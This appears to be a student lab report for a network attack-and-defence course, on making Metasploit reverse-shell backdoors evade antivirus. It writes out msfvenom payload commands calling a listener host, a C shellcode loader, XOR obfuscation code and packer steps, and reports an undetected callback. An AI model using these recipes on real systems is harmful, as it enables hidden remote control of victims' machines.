20202413 2021-2022-2 《网络与系统攻防技术》实验三实验报告

20202413 2021-2022-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 实验要求

  1. 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
  2. 通过组合应用各种技术实现恶意代码免杀。如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 问题回答

  1. 杀软是如何检测出恶意代码的?
    • 基于特征码的检测
    • 启发式恶意软件检测
    • 基于行为的恶意软件检测
    • 基于签名的检测技术
  2. 免杀是做什么?
    对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。
  3. 免杀的基本方法有哪些?
    1. 改变特征码
    • 只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
    1. 改变行为
    • 通讯方式
      • 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
      • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
      • 加密通讯数据:如使用reverse-https进行转发
    • 操作模式
      • 基于内存操作:meterpreter是基于内存操作的操作的
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

2.实验过程

2.1 msf编码器

  • msfvenom:生成木马程序,并在目标机上执行、在主控机监听
#参数说明
-p, --payload		#指定需要使用的payload(攻击载荷)。
-f, --format		#指定输出格式
-e, --encoder		#指定需要使用的encoder(编码器)
-a, --arch			#指定payload的目标架构
    --platform		#指定payload的目标平台
-b, --bad-chars		#设定规避字符集,badchar是payload中需要去除的字符
-i, --iterations	#指定payload的编码次数
-x					#使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
-o, --out			#保存payload
2.1.1 不同编码次数
  • 使用x86/shikata_ga_nai作为编码器(x86 的 encoder 里只有它的Rank是excellent),设置不同的编码次数,通过VirusTotal检出率观察免杀效果是否有变化
#无编码
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_0.exe

在这里插入图片描述

在这里插入图片描述

#编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_1.exe

在这里插入图片描述
在这里插入图片描述

#编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_10.exe

在这里插入图片描述
在这里插入图片描述

# 编码50次
 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 50 -b '\x00' LHOST=192.168.3.23 LPORT=2413 -f exe > mwm_50.exe

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 结论:多次编码能起到些微的免杀效果,但是并不明显,所以不必再纠结编码次数。
  • 原因分析:
    1. shikata_ga_nai总需要将解码部分加入到exe中,杀软只需要盯住该部分即可有效识破伪装
    2. msfvenom总是以固定的模版来生成exe文件,同时如果使用默认参数或者模版,也会有某些固定特征。杀软只需要用其模版建立特征库即可进行有效识别
2.1.2 不同输出格式
  • 选择不同运行方式下的payload,以不同的格式输出,通过VirusTotal检出率观察免杀效果是否有变化
#jar文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 x > mwm.jar

在这里插入图片描述
在这里插入图片描述

#php文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 x > mwm.php

在这里插入图片描述
在这里插入图片描述

#python文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.3.23 LPORT=2413 x > mwm.py

在这里插入图片描述
在这里插入图片描述

#apk文件(不能使用“-b '\x00'”,因为没有指定编码器,使用的话会报错)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.3.23 LPORT=2413 x > mwm.apk

在这里插入图片描述

在这里插入图片描述

  • 结论:相比于编码次数,不同的payload对免杀的效果更好。单从实验结果来看,python文件的免杀效果相对最好,php文件和apk文件次之,效果最差的是jar文件

2.2 Veil-Evasion

  • 工具安装:免杀Payload生成工具Veil的下载与使用。安装流程冗长,可能出现很多未知错误。我的整体安装流程与该博客里面的一致。
  • 实在装不上就在kali里面下载docker,在docker里面安装veil。没必要折腾自己。
#使用流程
veil #进入veil工具
use evasion #选择使用evasion模块
use c/meterpreter/rev_tcp.py #选择payload
#也可以先用“list”查看所有可选择的payload,然后直接使用“use+payload序号”来进行选择
set LHOST 192.168.3.23 #设置IP
set LPORT 2413 #设置端口
options #查看配置内容
generate #执行payload
mwm_c #输入生成文件的名称
  • 实验过程中,我分别选择了两个payload:c/meterpreter/rev_tcp.py和ruby/meterpreter/rev_tcp.py。这里以第一个payload为例展示生成流程:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

c/meterpreter/rev_tcp.py:
在这里插入图片描述
ruby/meterpreter/rev_tcp.py:
在这里插入图片描述

  • 结论:Veil-Evasion的免杀效果与msfvenom相比差别不大,常用的payload免杀效果都不是太理想。而ruby的表现就比较亮眼。

2.3 加壳

2.3.1 压缩壳
  • UPX是一款先进的可执行程序文件压缩器,能使压缩过的可执行文件体积缩小50%-70%,有效防止程序被反编译破解。并且压缩过的程序完全没有功能损失,对于支持的大多数格式没有运行时间或内存的不利后果。
apt-get install upx	#安装UPX
upx mwm.exe -o mwm_upx.exe #前者为待压缩程序名,后者为压缩后程序名

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
相比压缩前的53/69,不难发现压缩后确实具有一定的免杀效果。

2.3.2 加密壳
  • 我们使用Kali中一个开源的加密器,名为Hyperion,能规避反病毒软件
cp mwm.exe /usr/share/windows-resources/hyperion/	#将待加密程序拷贝到工作目录下
cd /usr/share/windows-resources/hyperion	#进入工作目录下
wine hyperion.exe -v mwm.exe mwm_hyp.exe #前者为待加密程序名,后者为加密后程序名

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
相比加密前的53/69,免杀效果并没有太大的提升。

2.4 C + shellcode编程

  • 首先使用msfvenom生成一个shellcode数组,然后使用该数组编写一个c语言程序
#生成Shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.3.23 LPORT=2413 -f c
#编写程序
vim mwm.c #进入vim编辑器,没有文件会新建
程序内容如下:
	unsigned char buf[] = "生成的shellcode";
	int main()
	{
	    int (*func)() = (int(*)())buf;//buf强转成函数型指针
	    func();
	}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ mwm.c -o mwm.exe

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
结论:相较于前面的msfvenom、Veil-Evasion和加壳,C+shellcode编程的免杀效果较为明显。

2.5 通过组合应用各种技术实现恶意代码免杀

2.5.1 C+shellcode编程
  • 在msfvenom下,仍然选择windows/meterpreter/reverse_tcp作为payload,但是采取编码器多重编码,先用x86/shikata_ga_nai编码,再用x86/bloxor编码:
#先把处理后的文件输出为raw格式,再将第一步的输出结果作为输入传递给msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.23 LPORT=2413 -b '\x00' -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -i 2 -f c

在这里插入图片描述
在这里插入图片描述

2.5.2 C+shellcode编程+异或
  • 首先将2.5.1中生成的Shellcode进行异或,将异或后的数组作为新的Shellcode
  • 编写c语言程序时在main函数中再次进行异或,最后进行编译得到mwm.exe
#mwm.c
unsigned char buf[] = "异或后的shellcode";
int main()
{
	int i;for (i = 0; i < sizeof(buf); i++)
 	{
 		buf[i] ^= 0x01;
	}
    int (*func)() = (int(*)())buf;
    func();
}
#yihuo.c,输出异或后的shellcode到文件shellcode.txt
#include<stdio.h>
#include <stdlib.h>
unsigned char buf[] = "异或前的shellcode";
int main()
{
	FILE *fptr;
	fptr = fopen("shellcode.txt", "w");
	int i;
	for (i = 0; i < sizeof(buf)-1; i++)
	{
		buf[i] ^= 0x01;
		fprintf(fptr,"\\x%x", buf[i]);
	}
	if(fptr == NULL)
	{
		printf("Error!");
		exit(1);
	}
	fclose(fptr);
	return 0;
}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ mwm.c -o mwm.exe

在这里插入图片描述
在这里插入图片描述
可见免杀效果比较理想。并且在win10虚拟机中能与金山毒霸共生:

在这里插入图片描述

2.5.3 C+shellcode编程+异或+加密壳
  • 将2.5.2中生成的mwm.exe做加密壳处理:
cp mwm.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v mwm.exe mwm_hyp.exe

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现经过加密壳处理之后,免杀效果反而大幅下降,在win10虚拟机中被金山毒霸检测了出来。

2.5.4 C+shellcode编程+异或+加密壳+压缩壳
  • 将2.5.3中生成的mwm_hyp.exe做压缩壳处理:
upx mwm_hyp.exe -o mwm_hyp_upx.exe

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现再进行压缩壳处理之后免杀效果仍不太理想,在win10虚拟机中被金山毒霸检测了出来。

2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

未能达成实验目标。我安装了金山毒霸和火绒,基于msfvenom和veil尝试了更多的模块,然而一旦生成的的后门程序在win10虚拟机上面与kali回连成功,就一定会被杀软检测出来。C+shellcode编程也不好使,异或了也没用,编码和加壳都不行。火绒甚至给我netcat.exe当成木马程序隔离了。我不知道大家都是怎么做出来的,不知道是我的人品不好还是我的做法有问题。请大佬们教教我吧。

问题3:win10主机上执行C+shellcode编程得到的后门程序时,弹出“由于找不到‘libgcc_s_dw2-1.dll’,无法继续执行代码”
————————————————————————————————————————————————
已达成实验目标,在金山毒霸开启的情况下能实现回连并且不被发现(但是被火绒发现了)。
在这里插入图片描述方法:在Veil-Evasion中选择第13个载荷cs/shellcode_inject/virtual.py。直接输入generate,按照提示进行参数配置。第一步我选择的是2,后面的参数按照默认的来:
在这里插入图片描述

在win10虚拟机上运行后门程序,kali上开启监听:
在这里插入图片描述
在这里插入图片描述
全程金山毒霸未出现弹窗警告。

3.问题及解决方案

  • 问题1:加密壳操作时报错“002c:err:winediag:getaddrinfo Failed to resolve your host name IP”

  • 问题1解决方案:折腾了好几个小时,从配置环境变量到卸载重装wine(结果把veil也给卸载了)等等都尝试过了,均未能很好的解决问题,中途甚至报了更多其他莫名其妙的错误。最后我无意中进入root模式并执行了实验指令(之前一直在普通用户kali模式下),莫名其妙的成功了。无语了。

  • 问题2:安装完veil报错:
    在这里插入图片描述

  • 问题2解决方案:根据错误提示,执行如下命令: /usr/share/veil/config/setup.sh --force --silent,经过漫长的等待之后安装完成,此时问题得到修复。

  • 问题3:win10主机上执行C+shellcode编程得到的后门程序时,弹出“由于找不到‘libgcc_s_dw2-1.dll’,无法继续执行代码

  • 问题3解决方案:我们的后门程序是在kali上面通过i686-w64-mingw32-g++指令生成的,但运行是在64位的win10主机上,这就导致有一些32位库依赖无法得到满足。解决方案是我们需要在win10上面安装mingw32(注意必须安装32位的,安装64位的仍然没有我们需要的dll文件),也就是Windows下的gcc:
    下载路径:mingw-builds-binaries,不建议去官网下载,官网的我还没弄明白怎么配置环境变量。如果github进不去,可进入国内github的镜像站:mingw-builds-binaries
    在这里插入图片描述

下载完成之后,将解压路径下的bin目录添加进系统环境变量的path下即可,然后打开cmd输入gcc --version验证是否安装成功。部分机器需要重启才生效。参考在Windows中安装MinGW-w64最新版本(目前12.1.0)

4.学习感悟、思考等

通过本次实验,我熟悉了很多种免杀工具的基本使用方式,并选取了多种免杀方式中的一些进行组合,构造自己的恶意代码。用VirusTotal网站进行检测的时候我一直感觉挺玄乎的,并不是相同的免杀操作反复迭代就能取得好的免杀效果。本次实验大部分时间都浪费在安装veil和解决wine的报错上了,以后再见到依赖32位库包的工具我直接头皮发麻。

参考资料

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值